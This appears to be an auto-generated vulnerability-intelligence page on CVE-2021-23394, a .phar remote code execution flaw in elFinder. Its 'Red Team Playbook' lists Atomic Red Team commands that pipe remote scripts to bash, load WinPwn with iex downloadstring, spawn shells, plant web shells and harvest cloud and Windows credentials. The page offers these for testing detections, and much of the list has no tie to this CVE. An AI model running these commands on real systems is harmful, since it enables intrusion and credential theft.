CVE-2021-23394
Overview
This vulnerability is a remote code execution flaw caused by improper handling of .phar files within the studio-42/elfinder package prior to version 2.1.58. The root cause lies in the server's parsing mechanism that executes PHP code embedded in .phar archives when these files are uploaded or accessed. The affected component is the file upload and processing functionality of the elfinder package that does not adequately validate or restrict .phar file execution.
Vulnerability Description
The package studio-42/elfinder before 2.1.58 are vulnerable to Remote Code Execution (RCE) via execution of PHP code in a .phar file. NOTE: This only applies if the server parses .phar files as PHP.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary PHP code on the server by uploading or triggering the processing of a crafted .phar file. This requires the server to parse .phar files as PHP, which is not default in all environments. Successful exploitation can lead to full compromise of the web server, data theft, or service disruption. The CVSS vector indicates no privileges or user interaction are required (AV:N/AC:H/PR:N/UI:N), emphasizing remote exploitation capability with high impact on confidentiality, integrity, and availability.
Solution
Users of studio-42/elfinder should upgrade to version 2.1.58 or later, where the vulnerability has been addressed. The official GitHub repository (https://github.com/Studio-42/elFinder) provides the patch and release notes detailing the fix. No specific workaround is documented; therefore, applying the vendor-supplied update is the recommended remediation step to prevent .phar file execution.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the elfinder package, specifically versions prior to 2.1.58, is characterized by its potential for Remote Code Execution (RCE) through the execution of PHP code embedded within .phar files. This issue arises when a server is configured to parse .phar files as PHP scripts, allowing an attacker to upload a malicious .phar file that contains executable PHP code. The inherent design of .phar files, which are used to package PHP applications, can be exploited if the server does not implement strict validation and sanitization measures. When the server processes such a file, it can inadvertently execute arbitrary code, leading to severe security breaches.
Attack vectors for this vulnerability are varied and can be executed through multiple scenarios. An attacker could exploit the vulnerability by first gaining access to a web application that utilizes the elfinder file manager. This could be achieved through social engineering, phishing, or exploiting other vulnerabilities within the application. Once access is obtained, the attacker can upload a crafted .phar file containing malicious PHP code. Upon the server's execution of this file, the attacker gains control over the server environment, which may include access to sensitive data, the ability to manipulate files, or even pivoting to other systems within the network. The ease of exploitation, combined with the high impact of successful attacks, makes this vulnerability particularly concerning.
The real-world impact of this vulnerability can be significant, especially for organizations that rely on the elfinder package for file management. The potential for RCE means that an attacker could execute commands with the same privileges as the web server, which could lead to data breaches, loss of integrity, and unauthorized access to critical systems. Businesses may face reputational damage, regulatory fines, and financial losses due to the fallout from such an incident. Furthermore, the high CVSS score of 9.8 indicates that this vulnerability poses a critical risk, necessitating immediate attention from security teams to mitigate potential exploitation.
Detection and mitigation strategies are essential to protect systems from this vulnerability. Organizations should first ensure that they are using the latest version of the elfinder package, as updates often include patches for known vulnerabilities. Regularly auditing and monitoring server configurations to ensure that .phar files are not processed as PHP scripts can significantly reduce the risk of exploitation. Implementing strict file upload controls, including file type validation and size restrictions, can also help prevent malicious files from being uploaded. Additionally, employing web application firewalls (WAFs) can provide an extra layer of security by filtering out potentially harmful requests before they reach the application.
In conclusion, the vulnerability associated with the elfinder package represents a critical threat to web applications that utilize this file management tool. The potential for RCE through the exploitation of .phar files underscores the importance of maintaining up-to-date software and implementing robust security measures. Organizations must remain vigilant in their security practices, ensuring that they are prepared to detect and respond to such vulnerabilities effectively. By prioritizing security and adopting a proactive approach, businesses can mitigate the risks associated with this and similar vulnerabilities, safeguarding their assets and maintaining trust with their users.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Std42 | Elfinder | All |
cpe:2.3:a:std42:elfinder:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
0xnemian/CVE-2021-23394
Docker container to setup a vulnerable elfinder version on both nginx and apache servers. Can be used to test vulnerabil...
|
0xnemian | 0 | 0 | 2025-11-30 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
30%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-23394 |
| snyk.io |
GitHub CVE
x_refsource_MISC
|
https://snyk.io/vuln/SNYK-PHP-STUDIO42ELFINDER-1290554 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/Studio-42/elFinder |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/Studio-42/elFinder/issues/3295 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/Studio-42/elFinder/commit/75ea92decc16a5daf7f618f85dc621d1b534b5e1 |
| blog.sonarsource.com |
GitHub CVE
x_refsource_MISC
|
https://blog.sonarsource.com/elfinder-case-study-of-web-file-manager-vulnerabilities/ |